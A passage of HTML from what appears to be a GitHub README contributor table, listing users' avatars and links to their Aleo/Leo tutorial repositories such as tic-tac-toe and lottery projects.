width="14.28%"><a href="https://github.com/savarach"><img src="https://avatars.githubusercontent.com/u/92996312?s=80&amp;v=4?s=100" width="100px;" alt="savarach"><br><sub><b> savarach </b></sub></a><br><a href="https://github.com/savarach/tictactoe" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/padjfromdota"><img src="https://avatars.githubusercontent.com/u/147413251?s=80&amp;v=4?s=100" width="100px;" alt="padjfromdota "><br><sub><b> padjfromdota</b></sub></a><br><a href="https://github.com/padjfromdota/tictactoe" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/gglorymen"><img src="https://avatars.githubusercontent.com/u/38043626?s=80&amp;u=0cb8966e52f12395f6eeccb4c183633f7607efb3&amp;v=4?s=100" width="100px;" alt="gglorymen"><br><sub><b> gglorymen</b></sub></a><br><a href="https://github.com/iLRuban/staraleo" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/KrisMorisBoris"><img src="https://avatars.githubusercontent.com/u/147434887?s=80&amp;u=80beb8bbd23c869ea2e15eddbc45826c908965a0&amp;v=4?s=100" width="100px;" alt="KrisMorisBoris"><br><sub><b> KrisMorisBoris</b></sub></a><br><a href="https://github.com/KrisMorisBoris/Leoapp2" title="“Tutorial">✅</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://github.com/WebDuster"><img src="https://avatars.githubusercontent.com/u/147457876?s=80&amp;v=4?s=100" width="100px;" alt="WebDuster"><br><sub><b> WebDuster</b></sub></a><br><a href="https://github.com/WebDuster/TicTacToe" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Tasham2008"><img src="https://avatars.githubusercontent.com/u/88756708?s=80&amp;u=5f8d877a473c61435bf6c1b26ea0e5f6d45bb378&amp;v=4?s=100" width="100px;" alt="Tasham2008"><br><sub><b> Tasham2008 </b></sub></a><br><a href="https://github.com/Tasham2008/Aleo_tictactoe" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/760AnaPY"><img src="https://avatars.githubusercontent.com/u/53938257?s=80&amp;v=4?s=100" width="100px;" alt="760AnaPY"><br><sub><b> 760AnaPY</b></sub></a><br><a href="https://github.com/760AnaPY/tictactoe" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/imshelest"><img src="https://avatars.githubusercontent.com/u/147422014?s=80&amp;v=4?s=100" width="100px;" alt="imshelest"><br><sub><b> imshelest </b></sub></a><br><a href="https://github.com/imshelest/leo1" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/mirmalnir"><img src="https://avatars.githubusercontent.com/u/73130193?s=80&amp;v=4?s=100" width="100px;" alt="mirmalnir"><br><sub><b> mirmalnir</b></sub></a><br><a href="https://github.com/mirmalnir/tictatoe" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/AnatoliMP"><img src="https://avatars.githubusercontent.com/u/95178926?s=80&amp;v=4?s=100" width="100px;" alt="AnatoliMP"><br><sub><b> AnatoliMP</b></sub></a><br><a href="https://github.com/AnatoliMP/AleoOneLove" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/ihortym"><img src="https://avatars.githubusercontent.com/u/101022021?s=80&amp;v=4?s=100" width="100px;" alt="ihortym"><br><sub><b> ihortym</b></sub></a><br><a href="https://github.com/ihortym/Aleo.git" title="“Tutorial">✅</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Vplmrchk"><img src="https://avatars.githubusercontent.com/u/147513906?s=80&amp;u=a7133949fa694f8e7dcbfc5ec182bac7e3db9d49&amp;v=4?s=100" width="100px;" alt="Vplmrchk"><br><sub><b> Vplmrchk</b></sub></a><br><a href="https://github.com/Vplmrchk/lotteryV_plmrchk" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/anrd04"><img src="https://avatars.githubusercontent.com/u/96128115?s=80&amp;v=4?s=100" width="100px;" alt="anrd04"><br><sub><b> anrd04 </b></sub></a><br><a href="https://github.com/anrd04/tictak" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Gonruk"><img src="https://avatars.githubusercontent.com/u/124696038?s=80&amp;v=4?s=100" width="100px;" alt="Gonruk"><br><sub><b> Gonruk</b></sub></a><br><a href="https://github.com/Gonruk/Firsttictactoe" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/ur4ix"><img src="https://avatars.githubusercontent.com/u/100270373?s=80&amp;v=4?s=100" width="100px;" alt="ur4ix"><br><sub><b> ur4ix </b></sub></a><br><a href="https://github.com/ur4ix/Aleo_Tictactoe" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/AllininanQ"><img src="https://avatars.githubusercontent.com/u/147525847?s=80&amp;v=4?s=100" width="100px;" alt="AllininanQ"><br><sub><b> AllininanQ</b></sub></a><br><a href="https://github.com/AllininanQ/leo" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Juliaaa26"><img src="https://avatars.githubusercontent.com/u/130294051?s=80&amp;v=4?s=100" width="100px;" alt="Juliaaa26"><br><sub><b> Juliaaa26</b></sub></a><br><a href="https://github.com/Juliaaa26/tictactoe" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Hacker-web-Vi"><img src="https://avatars.githubusercontent.com/u/80550154?s=80&amp;u=7b71cbd476b43e06e83a7a7470a774d26c6d7cd1&amp;v=4?s=100" width="100px;" alt="Hacker-web-Vi"><br><sub><b> Hacker-web-Vi</b></sub></a><br><a href="https://github.com/Hacker-web-Vi/leo-developer_toolkit" title="“Tutorial">✅</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Mickey1245"><img src="https://avatars.githubusercontent.com/u/122784690?s=80&amp;u=67a7ee12d2de04031d187b0af9361c16776276aa&amp;v=4?s=100" width="100px;" alt="Mickey1245"><br><sub><b> Mickey1245</b></sub></a><br><a href="https://github.com/Mickey1245/MickeyALEO" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/anastesee"><img src="https://avatars.githubusercontent.com/u/97472175?s=80&amp;u=54eae625d094a13c9a7eaa1e3385e9db2c570832&amp;v=4?s=100" width="100px;" alt="anastese"><br><sub><b> anastese </b></sub></a><br><a href="https://github.com/anastesee/leo" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/NastyaTR97"><img src="https://avatars.githubusercontent.com/u/147534568?s=80&amp;u=e2c4cf66ba2de9d52a047a1f01a98dc52cc81a72&amp;v=4?s=100" width="100px;" alt="NastyaTR97"><br><sub><b> NastyaTR97</b></sub></a><br><a href="https://github.com/NastyaTR97/tictactoeTrofimovaA" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/andriypaska"><img src="https://avatars.githubusercontent.com/u/130220653?s=80&amp;u=9c9e72a1278d9fe8b6943181abde3b0e01e3a1a7&amp;v=4?s=100" width="100px;" alt="andriypaska"><br><sub><b> andriypaska </b></sub></a><br><a href="https://github.com/andriypaska/tictactoe" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/dendistar"><img src="https://avatars.githubusercontent.com/u/138825246?s=80&amp;u=f5313c3e3b802a46a3f0cd2f1d92266ab7a459dd&amp;v=4?s=100" width="100px;" alt="dendistar"><br><sub><b> dendistar</b></sub></a><br><a href="https://github.com/dendistar/tictactoe" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/kartaviy223"><img src="https://avatars.githubusercontent.com/u/147543231?s=80&amp;v=4?s=100" width="100px;" alt="kartaviy223"><br><sub><b> kartaviy223</b></sub></a><br><a href="https://github.com/kartaviy223/aleo123/tree/main/Aleoapp" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/BluePEz"><img src="https://avatars.githubusercontent.com/u/147533370?s=80&amp;v=4?s=100" width="100px;" alt="BluePEz"><br><sub><b> BluePEz</b></sub></a><br><a href="https://github.com/BluePEz/aleo-tictactoe" title="“Tutorial">✅</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Ihorika2"><img src="https://avatars.githubusercontent.com/u/147540567?s=80&amp;u=f4de57b4b3e6552fd715e85376552be3e22c4177&amp;v=4?s=100" width="100px;" alt="Ihorika2"><br><sub><b> Ihorika2</b></sub></a><br><a href="https://github.com/Ihorika2/aleo1" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/taraspaska"><img src="https://avatars.githubusercontent.com/u/130307768?s=80&amp;v=4?s=100" width="100px;" alt="taraspaska"><br><sub><b> taraspaska </b></sub></a><br><a href="https://github.com/taraspaska/tictactoe" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Ragnaros12q"><img src="https://avatars.githubusercontent.com/u/147474896?s=80&amp;u=815c1097456eacd4d0e2eb4aa9c21747f7b9f518&amp;v=4?s=100" width="100px;" alt="Ragnaros12q"><br><sub><b> Ragnaros12q</b></sub></a><br><a href="https://github.com/Ragnaros12q/testnet-aleo" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/StasFreeman"><img src="https://avatars.githubusercontent.com/u/88969589?s=80&amp;v=4?s=100" width="100px;" alt="StasFreeman"><br><sub><b> StasFreeman </b></sub></a><br><a href="https://github.com/StasFreeman/tictactoeStasFreeman" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/McTrick"><img src="https://avatars.githubusercontent.com/u/100270374?s=80&amp;v=4?s=100" width="100px;" alt="McTrick"><br><sub><b> McTrick</b></sub></a><br><a href="https://github.com/McTrick/tictactoeTr1ck" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Dimaleron"><img src="https://avatars.githubusercontent.com/u/147550161?s=80&amp;v=4?s=100" width="100px;" alt="Dimaleron"><br><sub><b> Dimaleron</b></sub></a><br><a href="https://github.com/Dimaleron/tictactoe" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Boruto11dw"><img src="https://avatars.githubusercontent.com/u/120184733?s=80&amp;v=4?s=100" width="100px;" alt="Boruto11dw"><br><sub><b> Boruto11dw</b></sub></a><br><a href="https://github.com/Merlin-clasnuy/Boruto__.git" title="“Tutorial">✅</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://github.com/NOne790"><img src="https://avatars.githubusercontent.com/u/147545650?s=80&amp;v=4?s=100" width="100px;" alt="NOne790"><br><sub><b> NOne790</b></sub></a><br><a href="https://github.com/NOne790/tictactoe" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Golldirr"><img src="https://avatars.githubusercontent.com/u/147552484?s=80&amp;v=4?s=100" width="100px;" alt="Golldirr"><br><sub><b> Golldirr </b></sub></a><br><a href="https://github.com/Golldirr/AleoG.git" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/dmytriievp"><img src="https://avatars.githubusercontent.com/u/141562373?s=80&amp;v=4?s=100" width="100px;" alt="dmytriievp"><br><sub><b> dmytriievp</b></sub></a><br><a href="https://github.com/dmytriievp/Aleo" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/InfernoCyber55"><img src="https://avatars.githubusercontent.com/u/147475467?s=80&amp;v=4?s=100" width="100px;" alt="InfernoCyber55"><br><sub><b> InfernoCyber55 </b></sub></a><br><a href="https://github.com/InfernoCyber55/leolanguage" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/dexxeed"><img src="https://avatars.githubusercontent.com/u/90214222?s=80&amp;v=4?s=100" width="100px;" alt="dexxeed"><br><sub><b> dexxeed</b></sub></a><br><a href="https://github.com/dexxeed/leoba.git" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/kumarman1"><img src="https://avatars.githubusercontent.com/u/147553980?s=80&amp;u=2728032bbe99b024a5251485369a583aee5b7b8a&amp;v=4?s=100" width="100px;" alt="kumarman1 "><br><sub><b> kumarman1 </b></sub></a><br><a href="https://github.com/kumarman1/kumarman.git" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/nika040"><img src="https://avatars.githubusercontent.com/u/95068350?s=80&amp;v=4?s=100" width="100px;" alt="nika040"><br><sub><b> nika040</b></sub></a><br><a href="https://github.com/nika040/aleo1.git" title="“Tutorial">✅</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Collins44444444444444"><img src="https://avatars.githubusercontent.com/u/147554050?s=80&amp;v=4?s=100" width="100px;" alt="Collins44444444444444"><br><sub><b> Collins44444444444444</b></sub></a><br><a href="https://github.com/Collins44444444444444/Collins" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/aavegotch"><img src="https://avatars.githubusercontent.com/u/147549770?s=80&amp;u=0dad7648d64ad0199dcfaf4b83ab578ea94b6295&amp;v=4?s=100" width="100px;" alt="aavegotch"><br><sub><b> aavegotch </b></sub></a><br><a href="https://github.com/aavegotch/al-aav" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/ssvitlyk"><img src="https://avatars.githubusercontent.com/u/60655698?s=80&amp;u=92087fbbda5739ad9fb3ebf19c78fea1573b7cf7&amp;v=4?s=100" width="100px;" alt="ssvitlyk"><br><sub><b> Sergiy Svitlyk</b></sub></a><br><a href="https://github.com/ssvitlyk/tictactoe.git" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Mariia077"><img src="https://avatars.githubusercontent.com/u/93621050?s=80&amp;u=0e86339f7d355f7bbe4ab7d67b8e5e04074c3819&amp;v=4?s=100" width="100px;" alt="Mariia077"><br><sub><b> Mariia077 </b></sub></a><br><a href="https://github.com/Mariia077/tictactoe.git" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/svitlykihor"><img src="https://avatars.githubusercontent.com/u/118134393?s=80&amp;u=903f10ba76ed251986a92ab908de563a4d77a6ee&amp;v=4?s=100" width="100px;" alt="svitlykihor"><br><sub><b> svitlykihor</b></sub></a><br><a href="https://github.com/svitlykihor/tictactoe.git" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/dmytrohayov"><img src="https://avatars.githubusercontent.com/u/110791993?s=80&amp;v=4?s=100" width="100px;" alt="dmytrohayov "><br><sub><b> Dmytro Haiov </b></sub></a><br><a href="https://github.com/dmytrohayov/tictactoe.git" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Annnnnnnnnnna"><img src="https://avatars.githubusercontent.com/u/40041762?s=80&amp;v=4?s=100" width="100px;" alt="Annnnnnnnnnna"><br><sub><b> Annnnnnnnnnna</b></sub></a><br><a href="https://github.com/Annnnnnnnnnna/tictactoe" title="“Tutorial">✅</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://github.com/turchmanovich101"><img src="https://avatars.githubusercontent.com/u/68894538?s=80&amp;v=4?s=100" width="100px;" alt="turchmanovich101"><br><sub><b> turchmanovich101</b></sub></a><br><a href="https://github.com/turchmanovich101/tictactoe2" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Zasmin12ve"><img src="https://avatars.githubusercontent.com/u/147555748?s=80&amp;v=4?s=100" width="100px;" alt="Zasmin12ve"><br><sub><b> Zasmin12ve </b></sub></a><br><a href="https://github.com/Zasmin12ve/Zasmin" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/timfaden"><img src="https://avatars.githubusercontent.com/u/94048988?s=80&amp;u=9d5aee80da43319dfed966b32af5515a1d19bba6&amp;v=4?s=100" width="100px;" alt="timfaden"><br><sub><b>timfaden</b></sub></a><br><a href="https://github.com/timfaden/4Aleo" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/MerlinKlasnuy"><img src="https://avatars.githubusercontent.com/u/147555707?s=80&amp;v=4?s=100" width="100px;" alt="MerlinKlasnuy"><br><sub><b> MerlinKlasnuy </b></sub></a><br><a href="https://github.com/MerlinKlasnuy/Merlin_Klasnuy" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Erikprimerov"><img src="https://avatars.githubusercontent.com/u/82612075?s=80&amp;u=de44b74d829e703e6b43627a0c61078a5eceaa1d&amp;v=4?s=100" width="100px;" alt="erikprimerov"><br><sub><b> erikprimerov</b></sub></a><br><a href="https://github.com/Erikprimerov/tictactoe.git" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Andreewko"><img src="https://avatars.githubusercontent.com/u/128628158?s=80&amp;u=580be033987939689565e11621b87003e565c56b&amp;v=4?s=100" width="100px;" alt="Andreewko"><br><sub><b>Andreewko</b></sub></a><br><a href="https://github.com/Andreewko/tictactoe" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/dxungngh"><img src="https://avatars.githubusercontent.com/u/6395634?s=80&amp;v=4?s=100" width="100px;" alt="dxungngh"><br><sub><b> Daniel Nguyen</b></sub></a><br><a href="https://github.com/dxungngh/aleosample" title="“Tutorial">✅</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://github.com/igorstrong"><img src="https://avatars.githubusercontent.com/u/128728865?s=80&amp;u=0d1cdb3d8ad159489d96814de771e8e13b090d63&amp;v=4?s=100" width="100px;" alt="igorstrong"><br><sub><b> igorstrong</b></sub></a><br><a href="https://github.com/igorstrong/tictactoe.git" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/kramarmakarena"><img src="https://avatars.githubusercontent.com/u/107809808?s=80&amp;u=fb9c3590aed168fd2de8317f81ecc76d6576d05e&amp;v=4?s=100" width="100px;" alt="kramarmakarena"><br><sub><b> Kramar Maxim </b></sub></a><br><a href="https://github.com/kramarmakarena/tictactoe.git" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/boichka"><img src="https://avatars.githubusercontent.com/u/109759533?s=80&amp;u=59589e2c3b9088f651164d6d2664cfbec2f6d63f&amp;v=4?s=100" width="100px;" alt="boichka"><br><sub><b>Marina Boyko</b></sub></a><br><a href="https://github.com/boichka/tictactoe.git" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/YaakovHuang"><img src="https://avatars.githubusercontent.com/u/9527803?s=80&amp;v=4?s=100" width="100px;" alt="YaakovHuang"><br><sub><b> YaakovHuang </b></sub></a><br><a href="https://github.com/YaakovHuang/tictactoe" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/viktoria3715"><img src="https://avatars.githubusercontent.com/u/147585653?s=80&amp;v=4?s=100" width="100px;" alt="viktoria3715"><br><sub><b> viktoria3715</b></sub></a><br><a href="https://github.com/viktoria3715/Leoapp" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Hello-World99bit"><img src="https://avatars.githubusercontent.com/u/122752681?s=80&amp;v=4?s=100" width="100px;" alt="Hello-World99bit"><br><sub><b>Hello-World99bit</b></sub></a><br><a href="https://github.com/Hello-World99bit/aleo" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Alan-Zarevskij"><img src="https://avatars.githubusercontent.com/u/147600040?s=80&amp;v=4?s=100" width="100px;" alt="Alan-Zarevskij"><br><sub><b> Alan-Zarevskij</b></sub></a><br><a href="https://github.com/Alan-Zarevskij/aleo-guide" title="“Tutorial">✅</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Huliko"><img src="https://avatars.githubusercontent.com/u/147601130?s=80&amp;v=4?s=100" width="100px;" alt="Huliko"><br><sub><b> Huliko</b></sub></a><br><a href="https://github.com/Huliko/tutorial-aleo-game" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/tommy1qwerty"><img src="https://avatars.githubusercontent.com/u/147488401?s=80&amp;v=4?s=100" width="100px;" alt="tommy1qwerty"><br><sub><b> tommy1qwerty</b></sub></a><br><a href="https://github.com/tommy1qwerty/Aleo" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/sueinz"><img src="https://avatars.githubusercontent.com/u/75493321?s=80&amp;v=4?s=100" width="100px;" alt="sueinz"><br><sub><b>sueinz</b></sub></a><br><a href="https://github.com/sueinz/tictactoe" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Julia-path"><img src="https://avatars.githubusercontent.com/u/147602421?s=80&amp;v=4?s=100" width="100px;" alt="Julia-path"><br><sub><b> Julia-path </b></sub></a><br><a href="https://github.com/Julia-path/aleo-amb-tut" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/web3tyan"><img src="https://avatars.githubusercontent.com/u/73800674?s=80&amp;u=c4d42f981b16acf70b786b5d400fb30be80e69fa&amp;v=4?s=100" width="100px;" alt="web3tyan"><br><sub><b> Diana Shershun</b></sub></a><br><a href="https://github.com/web3tyan/tictactoe" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/mcnk020"><img src="https://avatars.githubusercontent.com/u/75666384?s=80&amp;v=4?s=100" width="100px;" alt="mcnk020"><br><sub><b>mcnk020</b></sub></a><br><a href="https://github.com/mcnk020/tictactoe" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Edgar0515"><img src="https://avatars.githubusercontent.com/u/82619131?s=80&amp;v=4?s=100" width="100px;" alt="Edgar0515"><br><sub><b> Edgar0515</b></sub></a><br><a href="https://github.com/Edgar0515/tictactoe" title="“Tutorial">✅</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Ju1issa"><img src="https://avatars.githubusercontent.com/u/115104650?s=80&amp;u=11a40da1c64bbdca41ac08934b132c45943e917f&amp;v=4?s=100" width="100px;" alt="Ju1issa"><br><sub><b> Ju1issa</b></sub></a><br><a href="https://github.com/Ju1issa/Aleo-contibution-1" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/MGavrilo"><img src="https://avatars.githubusercontent.com/u/63003898?s=80&amp;v=4?s=100" width="100px;" alt="MGavrilo"><br><sub><b> MGavrilo</b></sub></a><br><a href="https://github.com/MGavrilo/aleo_token.git" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/YujiROO1"><img src="https://avatars.githubusercontent.com/u/140186161?s=80&amp;u=0311f4a1fed71c9e83c1b491903999160ca570fb&amp;v=4?s=100" width="100px;" alt="YujiROO1"><br><sub><b>YujiROO1</b></sub></a><br><a href="https://github.com/YujiROO1/firsttryLEOroyhansen" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/yuriyMiller"><img src="https://avatars.githubusercontent.com/u/20724500?s=80&amp;v=4?s=100" width="100px;" alt="yuriyMiller"><br><sub><b> yuriyMiller</b></sub></a><br><a href="https://github.com/yuriyMiller/contribution_AToken" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/tetianapvlnk"><img src="https://avatars.githubusercontent.com/u/110791850?s=80&amp;v=4?s=100" width="100px;" alt="tetianapvlnk"><br><sub><b> Tetiana Pavlenko</b></sub></a><br><a href="https://github.com/tetianapvlnk/tictactoe.git" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/MGavrilo"><img src="https://avatars.githubusercontent.com/u/63003898?s=80&amp;v=4?s=100" width="100px;" alt="MGavrilo"><br><sub><b>MGavrilo</b></sub></a><br><a href="https://github.com/MGavrilo/aleo_token" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/vizimnokh"><img src="https://avatars.githubusercontent.com/u/87230321?v=4?s=100" width="100px;" alt="vizimnokh"><br><sub><b> vizimnokh</b></sub></a><br><a href="https://github.com/vizimnokh/vi.app" title="“Tutorial">✅</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://github.com/oleksvit"><img src="https://avatars.githubusercontent.com/u/107810228?s=80&amp;u=96f8b2c67161a457889e89ddaafff86d95d1e899&amp;v=4?s=100" width="100px;" alt="oleksvit"><br><sub><b> Oleksii Svitlyk</b></sub></a><br><a href="https://github.com/oleksvit/tictactoe.git" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/t3s1"><img src="https://avatars.githubusercontent.com/u/68332636?s=80&amp;u=a31e34ba9ebaf8cc46969dc02123dfbdf35238c2&amp;v=4?s=100" width="100px;" alt="t3s1"><br><sub><b> t3s1</b></sub></a><br><a href="https://github.com/t3s1/tictactoe" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/BloodBand"><img src="https://avatars.githubusercontent.com/u/103063619?s=80&amp;v=4?s=100" width="100px;" alt="BloodBand"><br><sub><b>BloodBand</b></sub></a><br><a href="https://github.com/BloodBand/tictactoe.git" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/thereisnspoon"><img src="https://avatars.githubusercontent.com/u/74349032?v=4?s=100" width="100px;" alt="thereisnspoon"><br><sub><b> thereisnspoon</b></sub></a><br><a href="https://github.com/thereisnspoon/MyAleotictactoe" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/InfernoCyber55"><img src="https://avatars.githubusercontent.com/u/147475467?s=80&amp;v=4?s=100" width="100px;" alt="InfernoCyber55"><br><sub><b> InfernoCyber55</b></sub></a><br><a href="https://github.com/InfernoCyber55/leolanguage" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Pikkorio1"><img src="https://avatars.githubusercontent.com/u/147637636?s=80&amp;v=4?s=100" width="100px;" alt="Pikkorio1"><br><sub><b>Pikkorio1</b></sub></a><br><a href="https://github.com/Pikkorio1/pikkorio" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/quertc"><img src="https://avatars.githubusercontent.com/u/48246993?s=80&amp;u=6ef48157b7fcfac27beda4c346ec44d2fc71053d&amp;v=4?s=100" width="100px;" alt="quertc"><br><sub><b> quertc</b></sub></a><br><a href="https://github.com/quertc/tictactoe" title="“Tutorial">✅</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Yuriihrk"><img src="https://avatars.githubusercontent.com/u/147640009?s=80&amp;v=4?s=100" width="100px;" alt="Yuriihrk"><br><sub><b> Yuriihrk</b></sub></a><br><a href="https://github.com/Yuriihrk/YuriiHrkLottery" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/stsefa"><img src="https://avatars.githubusercontent.com/u/147640614?s=80&amp;v=4?s=100" width="100px;" alt="stsefa"><br><sub><b> stsefa</b></sub></a><br><a href="https://github.com/stsefa/Lola13" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/alanharper"><img src="https://avatars.githubusercontent.com/u/1077736?s=80&amp;u=83e0401d0d992dda6c7b6f491b1e87e68b9606b2&amp;v=4?s=100" width="100px;" alt="alanharper"><br><sub><b>Alan Harper</b></sub></a><br><a href="https://github.com/alanharper/tictactoe.git" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/imanbtc"><img src="https://avatars.githubusercontent.com/u/35306074?s=80&amp;u=e9af87e9ff55a793649fa4c2640c8dc5a4ec05a8&amp;v=4?s=100" width="100px;" alt="imanbtc"><br><sub><b> imanbtc</b></sub></a><br><a href="https://github.com/imanbtc/tictactoe.git" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Oleksandr7744"><img src="https://avatars.githubusercontent.com/u/80430485?s=80&amp;v=4?s=100" width="100px;" alt="Oleksandr7744"><br><sub><b> Oleksandr7744</b></sub></a><br><a href="https://github.com/Oleksandr7744/tictactoe777" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/MarikJudo"><img src="https://avatars.githubusercontent.com/u/89316361?s=80&amp;v=4?s=100" width="100px;" alt="MarikJudo"><br><sub><b>MarikJudo</b></sub></a><br><a href="https://github.com/MarikJudo/ticktacktoe.git" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Piermanenta"><img src="https://avatars.githubusercontent.com/u/147656191?s=80&amp;v=4?s=100" width="100px;" alt="Piermanenta"><br><sub><b> Piermanenta</b></sub></a><br><a href="https://github.com/Piermanenta/LEo" title="“Tutorial">✅</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Karoliniio"><img src="https://avatars.githubusercontent.com/u/147644152?s=80&amp;v=4?s=100" width="100px;" alt="Karoliniio"><br><sub><b> Karoliniio</b></sub></a><br><a href="https://github.com/Karoliniio/tictactoe.git" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/aixen1009"><img src="https://avatars.githubusercontent.com/u/70536452?s=80&amp;u=3ed3b2bac8db9dd2b289176b08a9cd0b72b0d30b&amp;v=4?s=100" width="100px;" alt="aixen1009"><br><sub><b> Olga Svitlyk</b></sub></a><br><a 